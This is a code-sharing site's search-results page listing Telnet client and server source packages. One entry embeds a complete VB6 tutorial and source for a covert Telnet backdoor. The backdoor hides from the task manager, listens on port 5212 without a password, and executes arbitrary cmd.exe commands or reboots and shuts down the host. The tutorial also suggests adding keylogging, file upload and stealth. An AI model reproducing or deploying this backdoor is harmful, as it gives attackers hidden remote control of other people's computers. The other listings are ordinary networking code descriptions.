Welcome![Sign In][Sign Up]
Location:
Search - Telnet,C

Search list

[Linux-Unixtelnet.tar

Description: Linux下telnet客户端的C++代码实现。用于初学者对telnet协议的学习和简单telnet工具编写。由网上windows环境代码移植,直接通过make进行编译。-Linux telnet client of C code to achieve. For beginners telnet agreement learning tools and simple telnet prepared. Windows environment from the online code transplantation, directly through make computer.
Platform: | Size: 7930 | Author: 刘鹏 | Hits:

[Ftp Clienttelnet

Description: c\\c++语言简单实现telnet的客户端,服务器功能,
Platform: | Size: 31834 | Author: 刘敬奉 | Hits:

[Network DevelopVB Telnet编程指导思路

Description:

vB编程之TELNET
对于TELNET后门的编写我们可通过VC来编写,网上也有很多的关于用VC编写TELNET后门的源码。但是看X档案的一定不少是喜欢VB来编写程序的。纵然编写TELNET后门不是VB的长项,但这不并难实现。偶没见网上有用VB编写TELNET后门的文章,所以我就写下了此文,确切的说,
这不是个真正后门,只是一个后门的基本模型,甚至可以说毛坯。BUG的修改,不足的修补,功能的扩充还需读者动手来实现。
首先,我们在大脑里想象出一个后门运行的过程或者把其大概的流程画出来,然后就按这个过程逐步来实现。好了,
下面就开始我们的后门编写之路。首先就是当程序运行时防止再一个程序的运行,实现代码如下:
Private Sub Form_Load()
syspath = systempath()
'防止多个程序运行
If App.PrevInstance Then
End
End If
cmdno = True
'使程序不在任务管理器中显示
App.TaskVisible = False
'监听端口5212
Winsock1.LocalPort = 5212
Winsock1.Listen
End Sub
其次,当telnet端请求连接时,服务端接受请求。(大家可以在此试着实现密码验证机制的实现,很简单,在此不再给出代码)
当TELNET连接时,触发ConnectionRequest事件,在这个事件中向控制端发送相应的成功连接和帮助信息。
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
If Winsock1.State <> sckClosed Then
Winsock1.Close
Winsock1.Accept requestID
Winsock1.SendData "------------------------backdoor v1.0-------------------------" & vbCrLf & _
Space(16) & "code by eighteen" & vbCrLf & "-------------------------------------------------------------" & _
vbCrLf & "type help to get help" & vbCrLf & "shell>"
End If
End Sub
当我们连接上时,就需要对TELNET发来的命令进行一系列的处理和执行,以及执行相关的控制功能。
其中的问题是服务端接受来自TELNET客户端的连接和命令,由于TELNET传输命令时只能每间次传输一个字符的特殊性,
所以我们需要编写一个处理命令的过程,这个不难实现。还有就是对特殊字符的过滤和处理,如TELNET输入错误按DEL键,
按ENTER键来完成一条命令的输入。当TELNET连上服务端时,实现shell功能,以及shell功能和其它功能的分离。
对其中的问题有了大概的了解,那实现起来也就不难了。代码如下:
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim str1 As String
Dim scmd As String
Dim i As Integer
Dim tag As Integer
Winsock1.GetData str1
'过滤del键盘,用来telnet命令输入错误处理.如果输入del键盘,则当前命令无效
If Asc(str1) = 8 Then
myname = "" '清空命令存储
Winsock1.SendData vbCrLf & "shell>"
End If
'检察当前一个命令的完整性和对命令输入错误的处理
If (Asc(str1) <> 13) And (Asc(str1) <> 8) Then
myname = myname + str1
Elseif Asc(str1) <> 8 Then
'测试时,查看接受的命令
Text1.Text = myname & vbcrlf
myname = "" '清空对当前命令的存储,用来接受下一条命令
'--------下面是对接受命令的处理
tag = InStr(Text1.Text, Chr(13)) - 1
scmd = Left(Text1.Text, tag)
'------------------------------
'判断是不是在虚拟shell中,不是则执行如下命令,否则执行虚拟shell命令语句
If cmdno = True Then
Select Case scmd
Case "help"
Winsock1.SendData "cmd     -------打开shell" & vbCrLf & "reboot     -------重启" & _
vbCrLf & "shutdown   ------- 关机" & vbCrLf & "exit     -------退出" & vbCrLf & "shell>"

Case "reboot"
ExitWindowsEx EXW_REBOOT, 0

Case "shutdown"
ExitWindowsEx EXW_SHUTDOWN, 0
Case "exit"
Winsock1.SendData "exit seccessful!"
Winsock1.Close
Winsock1.Listen
Case "cmd"
Winsock1.SendData "获得虚拟shell成功!" & vbCrLf & "vcmd>"
cmdno = False
Case Else
Winsock1.SendData "cammond error!" & vbCrLf & "shell>"
End Select
Else
Shell "cmd.exe /c" & Space(1) & scmd & Space(1) & ">" & syspath & "\shell.rlt&exit", vbHide
Sleep (500)
'调用执行结果发送过程
Call tranrlt
Winsock1.SendData "如果想退出虚拟shell,清输入exit" & vbCrLf & "vcmd>"
If scmd = "exit" Then
Winsock1.SendData "成功退出虚拟shell!" & vbCrLf & "shell>"
cmdno = True '重置虚拟shell标志
End If
End If
End If
End Sub
接下来要考滤的是,虚拟shell的实现,我用了一个简单的方法,就是把命令执行结果写入一个文本文档,然后读取其中的内
容并将结果发送给控制端。代码如下:
Sub tranrlt()
Dim strrlt As String
Open syspath & "\shell.rlt" For Input As #1
Do While Not EOF(1)
Line Input #1, strrlt
Winsock1.SendData strrlt & vbCrLf
Loop
Close #1
Winsock1.SendData "----------------------------------------------------" & vbCrLf
Shell "cmd.exe /c del " & syspath & "\shell.rlt&exit", vbHide
End Sub
至此,后门的主要问题都解决了,也许有的读者可以看出,这个后门模型存在问题。的确,这个后门模型并不完整,
所谓学而三思,思而后行,剩下的问题读者可以试着去解决。在此我不在给出源码。提示一下:
(1)如果TELNET不正常退出,服务端还会继续保存当前的会话,重新连接后失败。还有就是如何可以允许多人同时连接功能。
(2)读者可以加上密码验证机制,在此基础上扩大它的控制功能,如键盘记录,文件上传等。
(3)一个成功的后门,必然有一个好的隐藏和自我保护机制,所以,大家需要努力发挥自己的聪明和才智了。
以上只是个人愚见,不难实现。其实程序编写只有深入其中,动手实践,才会发现各种问题,而正是在这发现问题,解决问题的过程中,
你会学到更多,成功后的满足也更多。当我们苦苦思索解决一个问题或实现一种新方法和功能时,那种豁然开朗,
成功的喜悦会让你体会编程的乐趣。希望大家看完本文和在动手来完善它的时候,能学到些知识和技巧,那本文的目的也就达到了。

_____________--源码
Public syspath As String
Public cmdno As Boolean
Private Declare Sub Sleep Lib "kernel32" (ByVal nsecond As Long)
Private Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long
Private Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Const EWX_REBOOT = 2
Const EWX_SHUTDOW = 1
Public myname As String
Sub tranrlt()
Dim strrlt As String
Open syspath & "\shell.rlt" For Input As #1
Do While Not EOF(1)
Line Input #1, strrlt
Winsock1.SendData strrlt & vbCrLf
Loop
Close #1
Winsock1.SendData "----------------------------------------------------" & vbCrLf
Shell "cmd.exe /c del " & syspath & "\shell.rlt&exit", vbHide
End Sub
Function systempath() As String
Dim filepath As String
Dim nSize As Long
filepath = String(255, 0)
nSize = GetSystemDirectory(filepath, 256)
filepath = Left(filepath, nSize)
systempath = filepath
End Function
Private Sub Form_Load()
syspath = systempath()
If App.PrevInstance Then
End
End If
cmdno = True
App.TaskVisible = False
Winsock1.LocalPort = 5212
Winsock1.Listen
End Sub
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
If Winsock1.State <> sckClosed Then
Winsock1.Close
Winsock1.Accept requestID
Winsock1.SendData "------------------------backdoor v1.0-------------------------" & vbCrLf & _
Space(16) & "code by eighteen" & vbCrLf & "-------------------------------------------------------------" & _
vbCrLf & "type help to get help" & vbCrLf & "shell>"
End If
End Sub

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim str1 As String
Dim scmd As String
Dim i As Integer
Dim tag As Integer
Winsock1.GetData str1
If Asc(str1) = 8 Then
myname = ""
Winsock1.SendData vbCrLf & "command error!" & vbCrLf & "shell>"
End If
If (Asc(str1) <> 13) And (Asc(str1) <> 8) Then
myname = myname + str1
ElseIf Asc(str1) <> 8 Then
Text1.Text = myname & vbCrLf
myname = ""
tag = InStr(Text1.Text, Chr(13)) - 1
scmd = Left(Text1.Text, tag)
If cmdno = True Then
Select Case scmd
Case "help"
Winsock1.SendData "cmd     -------打开shell" & vbCrLf & "reboot     -------重启" & _
vbCrLf & "shutdown   ------- 关机" & vbCrLf & "exit     -------退出" & vbCrLf & "shell>"

Case "reboot"
ExitWindowsEx EXW_REBOOT, 0

Case "shutdown"
ExitWindowsEx EXW_SHUTDOWN, 0
Case "exit"
Winsock1.SendData "exit seccessful!"
Winsock1.Close
Winsock1.Listen
Case "cmd"
Winsock1.SendData "获得虚拟shell成功!" & vbCrLf & "vcmd>"
cmdno = False
Case Else
Winsock1.SendData "command error!" & vbCrLf & "shell>"
End Select
Else
Shell "cmd.exe /c" & Space(1) & scmd & Space(1) & ">" & syspath & "\shell.rlt&exit", vbHide
Sleep (500)
Call tranrlt

Winsock1.SendData "如果想退出虚拟shell,清输入exit" & vbCrLf & "vcmd>"
If scmd = "exit" Then
Winsock1.SendData "成功退出虚拟shell!" & vbCrLf & "shell>"
cmdno = True
End If
End If
End If
End Sub

Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
Winsock1.Close
Winsock1.Listen
End Sub


Platform: | Size: 8205 | Author: onetwogoo | Hits:

[CSharpMinimalistic Telnet

Description: 小型Telnet,C#
Platform: | Size: 11200 | Author: ekingxu | Hits:

[Telnet ServerTelnet服务器

Description: telnet服务器的源代码,很有参考价值-telnet server source code was useful! !
Platform: | Size: 1988608 | Author: 李荣亮 | Hits:

[Internet-Networkuseredit

Description: Synchronet BBS Software是一个多用户BBS/Internet软件,可以在多个平台(包括Windows和Linux,以及传统的DOS 和OS/2)。它是一个多线程模块化的C/C++项目,包括 Telnet, FTP, 和Mail,支持流行的DOS door游戏。 -Synchronet BBS Software is a multi-user BBS/Internet software can be used on multiple platforms (including Windows and Linux, as well as traditional DOS and OS/2). It is a modular multi-threaded C/C projects, including Telnet, FTP, and Mail, support for the popular DOS door games.
Platform: | Size: 32768 | Author: 叶舟 | Hits:

[Internet-Networktelnet_proxy_under_linux

Description: unix下telnet的代理,比较简单,但包含了unix下c编程需要注意的基本问题及socket编程的基本模式。-under telnet proxy, relatively simple, but contains the c programming under unix need to pay attention to basic issues and the basic socket programming model.
Platform: | Size: 9216 | Author: 潘绪东 | Hits:

[Remote Controltelnet的client实现_完整版

Description: telnet的Client(客户端)实现。虽然界面简单,但是可以尝试登录到任何bbs做测试。非常实用!-(client) to achieve. Although the interface simple, but can try to login to any bulletin board tests. Very practical!
Platform: | Size: 124928 | Author: 飞的 | Hits:

[Game Server SimulatorTelnet高级编程

Description: 此编码具体说就是在网络通信过程中,从主机上获取需要确认的信息。,通过socket实现断口扫描。-the code explain how to get the authentication from server mechine while the course of net communicate,programme with socket.
Platform: | Size: 7927808 | Author: 谌夏 | Hits:

[Windows DevelopTelnetCmd

Description: windows服务程序,系统登陆后自动运行该服务,可以通过服务来启动和停止-windows service procedures, automatic landing systems running the service can be activated by the service and to stop
Platform: | Size: 1359872 | Author: 杨小东 | Hits:

[Internet-Networkputty_0.58.orig.tar

Description: putty源代码,无平台限制的telnet\ftp等程序,极负参考价值-putty source code, non- platform limit procedure and so on telnet\ftp, extremely negative reference value
Platform: | Size: 1567744 | Author: lsw | Hits:

[Linux-Unixtelnet.tar

Description: Linux下telnet客户端的C++代码实现。用于初学者对telnet协议的学习和简单telnet工具编写。由网上windows环境代码移植,直接通过make进行编译。-Linux telnet client of C code to achieve. For beginners telnet agreement learning tools and simple telnet prepared. Windows environment from the online code transplantation, directly through make computer.
Platform: | Size: 8192 | Author: 刘鹏 | Hits:

[Internet-NetworkTelnet-vc

Description: telnet协议实现,代码简单 初学者可参考-telnet protocol, code simple reference beginners
Platform: | Size: 1081344 | Author: pp | Hits:

[Telnet ServerTiniTelnet

Description: 一个非常小的telnet服务端,编译后生成的服务端只有几K大小!-a very small telnet server, translation services generated after only a few K-Size!
Platform: | Size: 1024 | Author: fasdf | Hits:

[Telnet ServerMyTelnet

Description: telnet服务器的实现: 1.客户端通过telnet连接后,服务器返回系统的一些信息(自己定义,至少应该包括程序作者的学号),之后显示提示符"login:"提示用户输入用户名进行登录 2.要求对用户名和密码进行验证。用户名和密码均为学号的后3位。如果用户名和密码错误则返回invalid user or passwd并提示重新输入 3.服务器端至少支持如下命令(命令不带参数) author:返回程序作者的相关信息 date:返回服务器的当前日期,日期的格式自己定义,但在help中做出说明 time:返回服务器的当前时间,时间的格式自己定义,但在help中做出说明 help:返回服务器所支持的命令 bye:与服务器断开连接 若输入了不支持的命令,则应回显相应的提示,如提示用户键入help来查看相应的命令 提示:服务器端有一个接收客户端输入字符的缓冲区,逐个字符进行接收;当发现是回车键后,即执行已接收字符对应的命令并回显.另外,telnet.exe是windows下自带的程序 设计的要求如下: 1.使用基本的套接口函数进行开发,即使用socket()、bind()、listen()、accept()等 2.不使用图形界面,只要能用文本显示相关信息即可,另外,需要把这些相关信息写入到一日志文件中(文件名为:学号.txt) 内附程序说明书
Platform: | Size: 70656 | Author: 张某某 | Hits:

[Ftp Clienttelnet

Description: c\c++语言简单实现telnet的客户端,服务器功能,
Platform: | Size: 31744 | Author: 刘敬奉 | Hits:

[Linux-Unixtelnet.c

Description: 一个小的telnet程序与大家共享,/* 本程序支持如一些参数: * --host IP地址 或者 -H IP地址 * --port 端口 或者 -P 端口 * --back 监听数量 或者 -B 监听数量 * --dir 服务默认目录 或者 -D 服务默认目录 * --log 日志存放路径 或者 -L 日志存放路径 * --daemon 使程序进入后台运行模式 */ -A small telnet program to share with you,/* This program supports a number of parameters such as:*- host IP address or-H IP Address*- port-port or-P port*- back to monitor the number of or-B monitor the number of*- dir default directory service, or-D services to the default directory*- log log storage path or-L log storage path*- daemon to make the procedure to enter the background running mode* /
Platform: | Size: 3072 | Author: lph | Hits:

[Documentstelnet

Description: c实现自动的telnet功能,telnet的用户名,密码交互式的输入-c to achieve automatic telnet function, telnet user name, password, interactive input
Platform: | Size: 8192 | Author: 苗少邦 | Hits:

[Linux-Unixtelnet

Description: linux上的telnet源码,实现很全面,源码用C语言实现,很容易移植到嵌入式系统中。-telnet on the linux source code to achieve a very comprehensive source using C language implementation, it is easily ported to an embedded system.
Platform: | Size: 177152 | Author: yr | Hits:

[Linux-Unixtelnet

Description: 用标准C实现的telnet通讯函数,基于unix平台及telnet通讯协议-Implemented using standard C telnet communication function, based on unix platforms and telnet protocol
Platform: | Size: 7168 | Author: huxiang | Hits:
« 12 3 4 »

CodeBus www.codebus.net